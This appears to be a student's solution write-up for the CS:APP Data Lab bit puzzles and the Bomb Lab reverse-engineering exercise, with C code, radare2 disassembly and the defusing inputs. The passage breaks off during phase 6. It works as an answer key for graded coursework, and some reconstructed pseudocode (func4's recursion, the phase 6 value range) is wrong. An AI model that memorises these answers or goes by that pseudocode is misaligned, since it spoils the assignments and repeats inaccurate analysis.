Lab1 Data-lab
bitXor
用 ~
和 &
进行异或运算,简单离散数学
/*
* bitXor - x^y using only ~ and &
* Example: bitXor(4, 5) = 1
* Legal ops: ~ &
* Max ops: 14
* Rating: 1
*/
int bitXor(int x, int y) {
return ~(~(~x & y) & ~(x & ~y));
}
tmin
要求返回补码中最小的整数
众所周知补码形式下最小数为0x80000000,由于使用的常数不能超过 0xff,所以需要使用左移运算生成
/*
* tmin - return minimum two's complement integer
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 4
* Rating: 1
*/
int tmin(void) {
return (1 << 31);
}
isTmax
判断 x 是否为补码格式下的最大数字
满足 (~x) ^ (x + 1)
为 0 的只有 0x7fffffff 和 0xffffffff
所以需要再用 !!(~x)
排除一下 0xffffffff
/*
* isTmax - returns 1 if x is the maximum, two's complement number,
* and 0 otherwise
* Legal ops: ! ~ & ^ | +
* Max ops: 10
* Rating: 1
*/
int isTmax(int x) {
return !((~x) ^ (x + 1)) & !!(~x);
}
allOddBits
其实就是返回 x & 0xaaaaaaaa == 0xaaaaaaaa
但由于常数不能超过 0xff,所以可以用右移运算来进行
/*
* allOddBits - return 1 if all odd-numbered bits in word set to 1
* where bits are numbered from 0 (least significant) to 31 (most significant)
* Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 12
* Rating: 2
*/
int allOddBits(int x) {
x &= x >> 16;
x &= x >> 8;
return !((x & 0xAA) ^ 0xAA);
}
negate
使用位运算和加法表示 -x
/*
* negate - return -x
* Example: negate(1) = -1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 5
* Rating: 2
*/
int negate(int x) {
return ~x + 1;
}
isAsciiDigit
0x30 - 0x39
之间的数字返回 1
根据共同点,先忽略个位,验证是否满足 0x0000003?
随后只提取最后一位 x
,判断 x + 6
后是否超过 0x10
/*
* isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
* Example: isAsciiDigit(0x35) = 1.
* isAsciiDigit(0x3a) = 0.
* isAsciiDigit(0x05) = 0.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 15
* Rating: 3
*/
int isAsciiDigit(int x) {
return (!((x >> 4) ^ 0x3)) & !(((x & 0xf) + 6) >> 4);
}
conditional
要实现一个三目运算
先将 x
转换为 0
或 0xffffffff
然后再使用位运算进行输出
int conditional(int x, int y, int z) {
x = ~!x + 1; // if x != 0 -> x = 0
// if x == 0 -> x = 0xffffffff
return (~x & y) | (x & z);
}
isLessOrEqual
判断 x 是否小于等于 y
判断相减后是否大于 0 即可,用位运算代替减法
/*
* isLessOrEqual - if x <= y then return 1, else return 0
* Example: isLessOrEqual(4,5) = 1.
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 24
* Rating: 3
*/
int isLessOrEqual(int x, int y) {
y += ~x + 1;
return !(y >> 31);
}
logicalNeg
利用位运算实现 !
在int型的右移运算中,正数会在开头补 0,而负数则会在开头补 1
/*
* logicalNeg - implement the ! operator, using all of
* the legal operators except !
* Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
* Legal ops: ~ & ^ | + << >>
* Max ops: 12
* Rating: 4
*/
int logicalNeg(int x) {
// In right shift, negative number will fixed with 1 at MSB.
return (((~x + 1) | x) >> 31) + 1;
}
howManyBits
计算多少位可以表示一个数
还是利用右移运算进行二分
由于需要预留符号位,最后需要 +1
/* howManyBits - return the minimum number of bits required to represent x in
* two's complement
* Examples: howManyBits(12) = 5
* howManyBits(298) = 10
* howManyBits(-5) = 4
* howManyBits(0) = 1
* howManyBits(-1) = 1
* howManyBits(0x80000000) = 32
* Legal ops: ! ~ & ^ | + << >>
* Max ops: 90
* Rating: 4
*/
int howManyBits(int x) {
int sign, b = 0, cur;
sign = x >> 31;
sign = ~!sign + 1;
x = (~x & ~sign) | (x & sign);
cur = !!(x >> 16) << 4;
x >>= cur;
b += cur;
cur = !!(x >> 8) << 3;
x >>= cur;
b += cur;
cur = !!(x >> 4) << 2;
x >>= cur;
b += cur;
cur = !!(x >> 2) << 1;
x >>= cur;
b += cur;
cur = !!(x >> 1);
x >>= cur;
b += cur + x;
return b + 1;
}
floatScale2
后面几个是浮点数相关操作
计算 f*2
/*
* floatScale2 - Return bit-level equivalent of expression 2*f for
* floating point argument f.
* Both the argument and result are passed as unsigned int's, but
* they are to be interpreted as the bit-level representation of
* single-precision floating point values.
* When argument is NaN, return argument
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
unsigned floatScale2(unsigned uf) {
int sign = uf >> 31 << 31;
if ((uf << 1) == 0) return uf;
if (((uf >> 23) & 0xff) == 0xff) return uf;
if (((uf >> 23) & 0xff) != 0) return uf + (1 << 23);
return (uf - sign) * 2 + sign;
}
floatFloat2Int
保留 f 的整数部分
/*
* floatFloat2Int - Return bit-level equivalent of expression (int) f
* for floating point argument f.
* Argument is passed as unsigned int, but
* it is to be interpreted as the bit-level representation of a
* single-precision floating point value.
* Anything out of range (including NaN and infinity) should return
* 0x80000000u.
* Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
* Max ops: 30
* Rating: 4
*/
int floatFloat2Int(unsigned uf) {
int e = ((uf >> 23) & 0xff) - 127, sign = uf >> 31 << 31, pow = 1;
if (e > 31) return 0x80000000;
if (e < 0) return 0;
pow = 1 << e;
if (sign) pow = ~pow + 1;
return pow;
}
floatPower2
计算 $2.0^x$
/*
* floatPower2 - Return bit-level equivalent of the expression 2.0^x
* (2.0 raised to the power x) for any 32-bit integer x.
*
* The unsigned value that is returned should have the identical bit
* representation as the single-precision floating-point number 2.0^x.
* If the result is too small to be represented as a denorm, return
* 0. If too large, return +INF.
*
* Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while
* Max ops: 30
* Rating: 4
*/
unsigned floatPower2(int x) {
if (x > 0x7f) return 0xff << 23;
if (x < -0x7e) return 0;
return (x + 127) << 23;
}
result
先使用 ./dlc
验证使用的操作是否满足要求
$ ./dlc -e bits.c
dlc:bits.c:147:bitXor: 8 operators
dlc:bits.c:156:tmin: 1 operators
dlc:bits.c:167:isTmax: 8 operators
dlc:bits.c:180:allOddBits: 7 operators
dlc:bits.c:190:negate: 2 operators
dlc:bits.c:203:isAsciiDigit: 8 operators
dlc:bits.c:215:conditional: 7 operators
dlc:bits.c:226:isLessOrEqual: 5 operators
dlc:bits.c:239:logicalNeg: 5 operators
dlc:bits.c:273:howManyBits: 40 operators
dlc:bits.c:292:floatScale2: 15 operators
dlc:bits.c:312:floatFloat2Int: 10 operators
dlc:bits.c:330:floatPower2: 6 operators
随后编译并执行 ./btest
$ make clean
$ make btest
$ ./btest
Score Rating Errors Function
1 1 0 bitXor
1 1 0 tmin
1 1 0 isTmax
2 2 0 allOddBits
2 2 0 negate
3 3 0 isAsciiDigit
3 3 0 conditional
3 3 0 isLessOrEqual
4 4 0 logicalNeg
4 4 0 howManyBits
4 4 0 floatScale2
4 4 0 floatFloat2Int
4 4 0 floatPower2
Total points: 36/36
Lab2 Bomb-lab
Solve with radare2
Phase 1
[0x00400da0]> s sym.phase_1
[0x00400ee0]> pdf
; CALL XREF from dbg.main @ 0x400e3a(x)
┌ 28: sym.phase_1 (int64_t arg1);
│ ; arg int64_t arg1 @ rdi
│ 0x00400ee0 4883ec08 sub rsp, 8
│ 0x00400ee4 be00244000 mov esi, str.Border_relations_with_Canada_have_never_been_better. ; 0x402400 ; "Border relations with Canada have never been better." ; int64_t arg2
│ 0x00400ee9 e84a040000 call sym.strings_not_equal
│ 0x00400eee 85c0 test eax, eax
│ ┌─< 0x00400ef0 7405 je 0x400ef7
│ │ 0x00400ef2 e843050000 call sym.explode_bomb
│ │ ; CODE XREF from sym.phase_1 @ 0x400ef0(x)
│ └─> 0x00400ef7 4883c408 add rsp, 8
└ 0x00400efb c3 ret
A simple strcmp
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Border relations with Canada have never been better.
Phase 1 defused. How about the next one?
Phase 2
[0x00400da0]> s sym.phase_2
[0x00400efc]> pdf
; CALL XREF from dbg.main @ 0x400e56(x)
┌ 69: sym.phase_2 (const char *s);
│ ; arg const char *s @ rdi
│ ; var int64_t var_4h @ rsp+0x4
│ ; var int64_t var_18h @ rsp+0x18
│ 0x00400efc 55 push rbp
│ 0x00400efd 53 push rbx
│ 0x00400efe 4883ec28 sub rsp, 0x28
│ 0x00400f02 4889e6 mov rsi, rsp ; int64_t arg2
│ 0x00400f05 e852050000 call sym.read_six_numbers
│ 0x00400f0a 833c2401 cmp dword [rsp], 1
│ ┌─< 0x00400f0e 7420 je 0x400f30
│ │ 0x00400f10 e825050000 call sym.explode_bomb
..
│ ││ ; CODE XREFS from sym.phase_2 @ 0x400f2c(x), 0x400f3a(x)
│ ┌┌───> 0x00400f17 8b43fc mov eax, dword [rbx - 4]
│ ╎╎││ 0x00400f1a 01c0 add eax, eax
│ ╎╎││ 0x00400f1c 3903 cmp dword [rbx], eax
│ ┌─────< 0x00400f1e 7405 je 0x400f25
│ │╎╎││ 0x00400f20 e815050000 call sym.explode_bomb
│ │╎╎││ ; CODE XREF from sym.phase_2 @ 0x400f1e(x)
│ └─────> 0x00400f25 4883c304 add rbx, 4
│ ╎╎││ 0x00400f29 4839eb cmp rbx, rbp
│ └────< 0x00400f2c 75e9 jne 0x400f17
│ ┌────< 0x00400f2e eb0c jmp 0x400f3c
│ │╎││ ; CODE XREF from sym.phase_2 @ 0x400f0e(x)
│ │╎││ ; CODE XREF from sym.phase_2 @ +0x19(x)
│ │╎└└─> 0x00400f30 488d5c2404 lea rbx, [var_4h]
│ │╎ 0x00400f35 488d6c2418 lea rbp, [var_18h]
│ │└───< 0x00400f3a ebdb jmp 0x400f17
│ │ ; CODE XREF from sym.phase_2 @ 0x400f2e(x)
│ └────> 0x00400f3c 4883c428 add rsp, 0x28
│ 0x00400f40 5b pop rbx
│ 0x00400f41 5d pop rbp
└ 0x00400f42 c3 ret
read_six_numbers()
read from input string char *s
with format %d %d %d %d %d %d
, and saved numbers in an array on stack.
The first cmp
compare the first number with const int 1
. After that, the program fall into a loop, which compare array[cur]
with array[cur - 1] * 2
.
Therefore, our input should be:
Phase 1 defused. How about the next one?
1 2 4 8 16 32
That's number 2. Keep going!
Phase 3
[0x00400da0]> s sym.phase_3
[0x00400f43]> pdf
; CALL XREF from dbg.main @ 0x400e72(x)
┌ 132: sym.phase_3 (const char *s);
│ ; arg const char *s @ rdi
│ ; var uint32_t var_8h @ rsp+0x8
│ ; var uint32_t var_ch @ rsp+0xc
│ 0x00400f43 4883ec18 sub rsp, 0x18
│ 0x00400f47 488d4c240c lea rcx, [var_ch]
│ 0x00400f4c 488d542408 lea rdx, [var_8h] ; ...
│ 0x00400f51 becf254000 mov esi, 0x4025cf ; "%d %d" ; const char *format
│ 0x00400f56 b800000000 mov eax, 0
│ 0x00400f5b e890fcffff call sym.imp.__isoc99_sscanf ; int sscanf(const char *s, const char *format, ...)
│ 0x00400f60 83f801 cmp eax, 1 ; 1
│ ┌─< 0x00400f63 7f05 jg 0x400f6a
│ │ 0x00400f65 e8d0040000 call sym.explode_bomb
│ │ ; CODE XREF from sym.phase_3 @ 0x400f63(x)
│ └─> 0x00400f6a 837c240807 cmp dword [var_8h], 7
│ ┌─< 0x00400f6f 773c ja case.default.0x400f75
│ │ 0x00400f71 8b442408 mov eax, dword [var_8h]
│ │ ;-- switch
│ │ 0x00400f75 ff24c5702440. jmp qword [rax*8 + 0x402470] ; "|\x0f@" ; switch table (8 cases) at 0x402470
│ │ ;-- case 0: ; from 0x00400f75
│ │ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ │ 0x00400f7c b8cf000000 mov eax, 0xcf ; 207
│ ┌──< 0x00400f81 eb3b jmp 0x400fbe
│ ││ ;-- case 2: ; from 0x00400f75
│ ││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ ││ 0x00400f83 b8c3020000 mov eax, 0x2c3 ; 707
│ ┌───< 0x00400f88 eb34 jmp 0x400fbe
│ │││ ;-- case 3: ; from 0x00400f75
│ │││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ │││ 0x00400f8a b800010000 mov eax, 0x100 ; 256
│ ┌────< 0x00400f8f eb2d jmp 0x400fbe
│ ││││ ;-- case 4: ; from 0x00400f75
│ ││││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ ││││ 0x00400f91 b885010000 mov eax, 0x185 ; 389
│ ┌─────< 0x00400f96 eb26 jmp 0x400fbe
│ │││││ ;-- case 5: ; from 0x00400f75
│ │││││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ │││││ 0x00400f98 b8ce000000 mov eax, 0xce ; 206
│ ┌──────< 0x00400f9d eb1f jmp 0x400fbe
│ ││││││ ;-- case 6: ; from 0x00400f75
│ ││││││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ ││││││ 0x00400f9f b8aa020000 mov eax, 0x2aa ; 682
│ ┌───────< 0x00400fa4 eb18 jmp 0x400fbe
│ │││││││ ;-- case 7: ; from 0x00400f75
│ │││││││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ │││││││ 0x00400fa6 b847010000 mov eax, 0x147 ; 327
│ ────────< 0x00400fab eb11 jmp 0x400fbe
│ │││││││ ;-- default: ; from 0x400f75
│ │││││││ ; CODE XREFS from sym.phase_3 @ 0x400f6f(x), 0x400f75(x)
│ ││││││└─> 0x00400fad e888040000 call sym.explode_bomb
..
│ │││││││ ;-- case 1: ; from 0x00400f75
│ │││││││ ; CODE XREF from sym.phase_3 @ 0x400f75(x)
│ │││││││ 0x00400fb9 b837010000 mov eax, 0x137 ; 311
│ │││││││ ; XREFS: CODE 0x00400f81 CODE 0x00400f88 CODE 0x00400f8f CODE 0x00400f96 CODE 0x00400f9d CODE 0x00400fa4
│ │││││││ ; XREFS: CODE 0x00400fab CODE 0x00400fb7
│ └└└└└└└─> 0x00400fbe 3b44240c cmp eax, dword [var_ch]
│ ┌─< 0x00400fc2 7405 je 0x400fc9
│ │ 0x00400fc4 e871040000 call sym.explode_bomb
│ │ ; CODE XREF from sym.phase_3 @ 0x400fc2(x)
│ └─> 0x00400fc9 4883c418 add rsp, 0x18
└ 0x00400fcd c3 ret
First read 2 number from input (format is %d %d
), and save them in [var_8h], [var_ch]
.
Number 1 in [var_8h]
is used for a switch-case, and Number 2 in [var_ch]
is used to compare with eax which set in case.
Valid input:
0 207
1 311
2 707
3 256
4 389
5 206
6 682
7 327
For example:
That's number 2. Keep going!
7 327
Halfway there!
Phase 4
[0x00400da0]> s sym.phase_4
[0x0040100c]> pdf
; CALL XREF from dbg.main @ 0x400e8e(x)
┌ 86: sym.phase_4 (const char *s);
│ ; arg const char *s @ rdi
│ ; var uint32_t var_8h @ rsp+0x8
│ ; var uint32_t var_ch @ rsp+0xc
│ 0x0040100c 4883ec18 sub rsp, 0x18
│ 0x00401010 488d4c240c lea rcx, [var_ch]
│ 0x00401015 488d542408 lea rdx, [var_8h] ; ...
│ 0x0040101a becf254000 mov esi, 0x4025cf ; "%d %d" ; const char *format
│ 0x0040101f b800000000 mov eax, 0
│ 0x00401024 e8c7fbffff call sym.imp.__isoc99_sscanf ; int sscanf(const char *s, const char *format, ...)
│ 0x00401029 83f802 cmp eax, 2 ; 2
│ ┌─< 0x0040102c 7507 jne 0x401035
│ │ 0x0040102e 837c24080e cmp dword [var_8h], 0xe
│ ┌──< 0x00401033 7605 jbe 0x40103a
│ ││ ; CODE XREF from sym.phase_4 @ 0x40102c(x)
│ │└─> 0x00401035 e800040000 call sym.explode_bomb
│ │ ; CODE XREF from sym.phase_4 @ 0x401033(x)
│ └──> 0x0040103a ba0e000000 mov edx, 0xe ; 14 ; int64_t arg3
│ 0x0040103f be00000000 mov esi, 0 ; int64_t arg2
│ 0x00401044 8b7c2408 mov edi, dword [var_8h] ; int64_t arg1
│ 0x00401048 e881ffffff call sym.func4
│ 0x0040104d 85c0 test eax, eax
│ ┌─< 0x0040104f 7507 jne 0x401058
│ │ 0x00401051 837c240c00 cmp dword [var_ch], 0
│ ┌──< 0x00401056 7405 je 0x40105d
│ ││ ; CODE XREF from sym.phase_4 @ 0x40104f(x)
│ │└─> 0x00401058 e8dd030000 call sym.explode_bomb
│ │ ; CODE XREF from sym.phase_4 @ 0x401056(x)
│ └──> 0x0040105d 4883c418 add rsp, 0x18
└ 0x00401061 c3 ret
[0x0040100c]> s sym.func4
[0x00400fce]> pdf
; CALL XREFS from sym.func4 @ 0x400fe9(x), 0x400ffe(x)
; CALL XREF from sym.phase_4 @ 0x401048(x)
┌ 62: sym.func4 (signed int arg1, int64_t arg2, int64_t arg3);
│ ; arg signed int arg1 @ rdi
│ ; arg int64_t arg2 @ rsi
│ ; arg int64_t arg3 @ rdx
│ 0x00400fce 4883ec08 sub rsp, 8
│ 0x00400fd2 89d0 mov eax, edx ; arg3
│ 0x00400fd4 29f0 sub eax, esi ; arg2
│ 0x00400fd6 89c1 mov ecx, eax
│ 0x00400fd8 c1e91f shr ecx, 0x1f
│ 0x00400fdb 01c8 add eax, ecx
│ 0x00400fdd d1f8 sar eax, 1
│ 0x00400fdf 8d0c30 lea ecx, [rax + rsi]
│ 0x00400fe2 39f9 cmp ecx, edi ; arg1
│ ┌─< 0x00400fe4 7e0c jle 0x400ff2
│ │ 0x00400fe6 8d51ff lea edx, [rcx - 1]
│ │ 0x00400fe9 e8e0ffffff call sym.func4
│ │ 0x00400fee 01c0 add eax, eax
│ ┌──< 0x00400ff0 eb15 jmp 0x401007
│ ││ ; CODE XREF from sym.func4 @ 0x400fe4(x)
│ │└─> 0x00400ff2 b800000000 mov eax, 0
│ │ 0x00400ff7 39f9 cmp ecx, edi ; arg1
│ │┌─< 0x00400ff9 7d0c jge 0x401007
│ ││ 0x00400ffb 8d7101 lea esi, [rcx + 1]
│ ││ 0x00400ffe e8cbffffff call sym.func4
│ ││ 0x00401003 8d440001 lea eax, [rax + rax + 1]
│ ││ ; CODE XREFS from sym.func4 @ 0x400ff0(x), 0x400ff9(x)
│ └└─> 0x00401007 4883c408 add rsp, 8
└ 0x0040100b c3 ret
Still, read 2 numbers from input by sscanf()
.
The func4()
should be:
int func4(int a1, long long a2, long long a3){
int ecx = a3 - a2;
ecx += ecx >> 0x1f;
ecx = (ecx >> 1) + a2;
if (ecx > a1) return func4(a1, a2, a3 - 1) * 2;
if (ecx < a1) return func4(a1, a2, a3 + 1) * 2 + 1;
return 0;
}
Our target is func(input[0], 0, 14) == 0
, therefore input[0]
should be 0
or 1
.
Since cmp dword [var_ch], 0
, input[1]
should be 0
.
Halfway there!
1 0
So you got that one. Try this one.
Phase 5
[0x00400da0]> s sym.phase_5
[0x00401062]> pdf
; CALL XREF from dbg.main @ 0x400eaa(x)
┌ 137: sym.phase_5 (int64_t arg1);
│ ; arg int64_t arg1 @ rdi
│ ; var int64_t var_10h @ rsp+0x10
│ ; var int64_t var_16h @ rsp+0x16
│ ; var int64_t canary @ rsp+0x18
│ 0x00401062 53 push rbx
│ 0x00401063 4883ec20 sub rsp, 0x20
│ 0x00401067 4889fb mov rbx, rdi ; arg1
│ 0x0040106a 64488b042528. mov rax, qword fs:[0x28]
│ 0x00401073 4889442418 mov qword [canary], rax
│ 0x00401078 31c0 xor eax, eax
│ 0x0040107a e89c020000 call sym.string_length
│ 0x0040107f 83f806 cmp eax, 6 ; 6
│ ┌─< 0x00401082 744e je 0x4010d2
│ │ 0x00401084 e8b1030000 call sym.explode_bomb
..
│ ││ ; CODE XREFS from sym.phase_5 @ 0x4010ac(x), 0x4010d7(x)
│ ┌┌───> 0x0040108b 0fb60c03 movzx ecx, byte [rbx + rax]
│ ╎╎││ 0x0040108f 880c24 mov byte [rsp], cl
│ ╎╎││ 0x00401092 488b1424 mov rdx, qword [rsp]
│ ╎╎││ 0x00401096 83e20f and edx, 0xf ; 15
│ ╎╎││ 0x00401099 0fb692b02440. movzx edx, byte [rdx + obj.array.3449] ; [0x4024b0:1]=109 ; "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
│ ╎╎││ 0x004010a0 88540410 mov byte [rsp + rax + 0x10], dl
│ ╎╎││ 0x004010a4 4883c001 add rax, 1
│ ╎╎││ 0x004010a8 4883f806 cmp rax, 6 ; 6
│ └────< 0x004010ac 75dd jne 0x40108b
│ ╎││ 0x004010ae c644241600 mov byte [var_16h], 0
│ ╎││ 0x004010b3 be5e244000 mov esi, str.flyers ; 0x40245e ; "flyers" ; int64_t arg2
│ ╎││ 0x004010b8 488d7c2410 lea rdi, [var_10h] ; int64_t arg1
│ ╎││ 0x004010bd e876020000 call sym.strings_not_equal
│ ╎││ 0x004010c2 85c0 test eax, eax
│ ┌────< 0x004010c4 7413 je 0x4010d9
│ │╎││ 0x004010c6 e86f030000 call sym.explode_bomb
..
│ ││╎││ ; CODE XREF from sym.phase_5 @ 0x401082(x)
│ ││╎││ ; CODE XREF from sym.phase_5 @ +0x27(x)
│ ││╎└└─> 0x004010d2 b800000000 mov eax, 0
│ ││└───< 0x004010d7 ebb2 jmp 0x40108b
│ ││ ; CODE XREF from sym.phase_5 @ 0x4010c4(x)
│ ││ ; CODE XREF from sym.phase_5 @ +0x6e(x)
│ └└────> 0x004010d9 488b442418 mov rax, qword [canary]
│ 0x004010de 644833042528. xor rax, qword fs:[0x28]
│ ┌─< 0x004010e7 7405 je 0x4010ee
│ │ 0x004010e9 e842faffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.phase_5 @ 0x4010e7(x)
│ └─> 0x004010ee 4883c420 add rsp, 0x20
│ 0x004010f2 5b pop rbx
└ 0x004010f3 c3 ret
First, string_length(input) == 6
.
Fall into a loop:
for (int i = 0; i != 6; i++){
ecx = input[i];
edx = ecx & 0xf;
edx = maduiersnfotvbyl[edx];
var_10h[i] = edx;
}
strings_not_equal(var_10h[i], "flyers");
So our input should be:
0x?9 0x?f 0x?e 0x?5 0x?6 0x?7
For easy to input, we can simply set ?
as 6
.
So you got that one. Try this one.
ionefg
Good work! On to the next...
Phase 6
[0x00400da0]> s sym.phase_6
[0x004010f4]> pdf
; CALL XREF from dbg.main @ 0x400ec6(x)
┌ 272: sym.phase_6 (const char *s);
│ ; arg const char *s @ rdi
│ ; var int64_t var_18h @ rsp+0x18
│ ; var int64_t var_20h @ rsp+0x20
│ ; var int64_t var_28h @ rsp+0x28
│ ; var int64_t var_50h @ rsp+0x50
│ 0x004010f4 4156 push r14
│ 0x004010f6 4155 push r13
│ 0x004010f8 4154 push r12
│ 0x004010fa 55 push rbp
│ 0x004010fb 53 push rbx
│ 0x004010fc 4883ec50 sub rsp, 0x50
│ 0x00401100 4989e5 mov r13, rsp
│ 0x00401103 4889e6 mov rsi, rsp ; int64_t arg2
│ 0x00401106 e851030000 call sym.read_six_numbers
│ 0x0040110b 4989e6 mov r14, rsp
│ 0x0040110e 41bc00000000 mov r12d, 0
│ ; CODE XREF from sym.phase_6 @ 0x401151(x)
│ ┌─> 0x00401114 4c89ed mov rbp, r13
│ ╎ 0x00401117 418b4500 mov eax, dword [r13]
│ ╎ 0x0040111b 83e801 sub eax, 1
│ ╎ 0x0040111e 83f805 cmp eax, 5 ; 5
│ ┌──< 0x00401121 7605 jbe 0x401128
│ │╎ 0x00401123 e812030000 call sym.explode_bomb
│ │╎ ; CODE XREF from sym.phase_6 @ 0x401121(x)
│ └──> 0x00401128 4183c401 add r12d, 1
│ ╎ 0x0040112c 4183fc06 cmp r12d, 6 ; 6
│ ┌──< 0x00401130 7421 je 0x401153
│ │╎ 0x00401132 4489e3 mov ebx, r12d
│ │╎ ; CODE XREF from sym.phase_6 @ 0x40114b(x)
│ ┌───> 0x00401135 4863c3 movsxd rax, ebx
│ ╎│╎ 0x00401138 8b0484 mov eax, dword [rsp + rax*4]
│ ╎│╎ 0x0040113b 394500 cmp dword [rbp], eax
│ ┌────< 0x0040113e 7505 jne 0x401145
│ │╎│╎ 0x00401140 e8f5020000 call sym.explode_bomb
│ │╎│╎ ; CODE XREF from sym.phase_6 @ 0x40113e(x)
│ └────> 0x00401145 83c301 add ebx, 1
│ ╎│╎ 0x00401148 83fb05 cmp ebx, 5 ; 5
│ └───< 0x0040114b 7ee8 jle 0x401135
│ │╎ 0x0040114d 4983c504 add r13, 4
│ │└─< 0x00401151 ebc1 jmp 0x401114
│ │ ; CODE XREF from sym.phase_6 @ 0x401130(x)
│ └──> 0x00401153 488d742418 lea rsi, [var_18h]
│ 0x00401158 4c89f0 mov rax, r14
│ 0x0040115b b907000000 mov ecx, 7
│ ; CODE XREF from sym.phase_6 @ 0x40116d(x)
│ ┌─> 0x00401160 89ca mov edx, ecx
│ ╎ 0x00401162 2b10 sub edx, dword [rax]
│ ╎ 0x00401164 8910 mov dword [rax], edx
│ ╎ 0x00401166 4883c004 add rax, 4
│ ╎ 0x0040116a 4839f0 cmp rax, rsi
│ └─< 0x0040116d 75f1 jne 0x401160
│ 0x0040116f be00000000 mov esi, 0
│ ┌─< 0x00401174 eb21 jmp 0x401197
│ │ ; CODE XREFS from sym.phase_6 @ 0x40117f(x), 0x4011a9(x)
│ ┌┌──> 0x00401176 488b5208 mov rdx, qword [rdx + 8]
│ ╎╎│ 0x0040117a 83c001 add eax, 1
│ ╎╎│ 0x0040117d 39c8 cmp eax, ecx
│ └───< 0x0040117f 75f5 jne 0x401176
│ ┌───< 0x00401181 eb05 jmp 0x401188
│ │╎│ ; CODE XREF from sym.phase_6 @ 0x40119d(x)
│ ┌────> 0x00401183 bad0326000 mov edx, obj.node1 ; 0x6032d0 ; "L\x01"
│ ╎│╎│ ; CODE XREF from sym.phase_6 @ 0x401181(x)
│ ╎└───> 0x00401188 4889547420 mov qword [rsp + rsi*2 + 0x20], rdx
│ ╎ ╎│ 0x0040118d 4883c604 add rsi, 4
│ ╎ ╎│ 0x00401191 4883fe18 cmp rsi, 0x18 ; 24
│ ╎┌───< 0x00401195 7414 je 0x4011ab
│ ╎│╎│ ; CODE XREF from sym.phase_6 @ 0x401174(x)
│ ╎│╎└─> 0x00401197 8b0c34 mov ecx, dword [rsp + rsi]
│ ╎│╎ 0x0040119a 83f901 cmp ecx, 1 ; 1
│ └────< 0x0040119d 7ee4 jle 0x401183
│ │╎ 0x0040119f b801000000 mov eax, 1
│ │╎ 0x004011a4 bad0326000 mov edx, obj.node1 ; 0x6032d0 ; "L\x01"
│ │└──< 0x004011a9 ebcb jmp 0x401176
│ │ ; CODE XREF from sym.phase_6 @ 0x401195(x)
│ └───> 0x004011ab 488b5c2420 mov rbx, qword [var_20h]
│ 0x004011b0 488d442428 lea rax, [var_28h]
│ 0x004011b5 488d742450 lea rsi, [var_50h]
│ 0x004011ba 4889d9 mov rcx, rbx
│ ; CODE XREF from sym.phase_6 @ 0x4011d0(x)
│ ┌─> 0x004011bd 488b10 mov rdx, qword [rax]
│ ╎ 0x004011c0 48895108 mov qword [rcx + 8], rdx
│ ╎ 0x004011c4 4883c008 add rax, 8
│ ╎ 0x004011c8 4839f0 cmp rax, rsi
│ ┌──< 0x004011cb 7405 je 0x4011d2
│ │╎ 0x004011cd 4889d1 mov rcx, rdx
│ │└─< 0x004011d0 ebeb jmp 0x4011bd
│ │ ; CODE XREF from sym.phase_6 @ 0x4011cb(x)
│ └──> 0x004011d2 48c742080000. mov qword [rdx + 8], 0
│ 0x004011da bd05000000 mov ebp, 5
│ ; CODE XREF from sym.phase_6 @ 0x4011f5(x)
│ ┌─> 0x004011df 488b4308 mov rax, qword [rbx + 8]
│ ╎ 0x004011e3 8b00 mov eax, dword [rax]
│ ╎ 0x004011e5 3903 cmp dword [rbx], eax
│ ┌──< 0x004011e7 7d05 jge 0x4011ee
│ │╎ 0x004011e9 e84c020000 call sym.explode_bomb
│ │╎ ; CODE XREF from sym.phase_6 @ 0x4011e7(x)
│ └──> 0x004011ee 488b5b08 mov rbx, qword [rbx + 8]
│ ╎ 0x004011f2 83ed01 sub ebp, 1
│ └─< 0x004011f5 75e8 jne 0x4011df
│ 0x004011f7 4883c450 add rsp, 0x50
│ 0x004011fb 5b pop rbx
│ 0x004011fc 5d pop rbp
│ 0x004011fd 415c pop r12
│ 0x004011ff 415d pop r13
│ 0x00401201 415e pop r14
└ 0x00401203 c3 ret
read_six_numbers()
from input string.
A loop:
for (int r12d = 0; r12d != 6; r12d++) {
if (*r13 - 1 > 5) explode_bomb();
for (int ebx = r12d; ebx <= 5; ebx++) {
if (*r13 == rsp[ebx]) explode_bomb();
}
r13 += 1;
}
Therefore, 6 numbers must be a permutation of [0, 1, 2, 3, 4, 5].
Calculations before check.
num[i] = 7 - num[i]
:
rax = rsp;
do {
*rax = 7 - *rax;
rax += 4;
} while(rax != rsp + 0x18);
Re-sort the Nodes.
for (int esi = 0; esi < 0x18; esi += 4) {
ecx = rsp[esi];
if (ecx <= 1) {
edx = node1;
}
else {
eax = 1;
edx = node1;
do {
rdx = rdx.next;
eax += 1;
} while (eax != ecx);
}
var_20h[rsi * 2] = rdx;
}
Node is a One-way LinkedList
node1
dd 14Ch
dd 1
dq offset node2
node2
dd 0A8h
dd 2
dq offset node3
node3
dd 39Ch
dd 3
dq offset node4
node4
dd 2B3h
dd 4
dq offset node5
node5
dd 1DDh
dd 5
dq offset node6
node6
dd 1BBh
dd 6
dq offset 0
Re-linked.
rcx = *var_20h;
for (i = 1; i < 6; i++) {
rdx = var_20h[i];
rcx.next = rdx;
rcx = rdx;
}
Final check: nodes should be sorted by value.
rbx = *var_20h;
for (ebp = 5; ebp > 0; ebp--) {
rax = rbx.next;
eax = rax.value;
if (rbx.value < eax) explode_bomb();
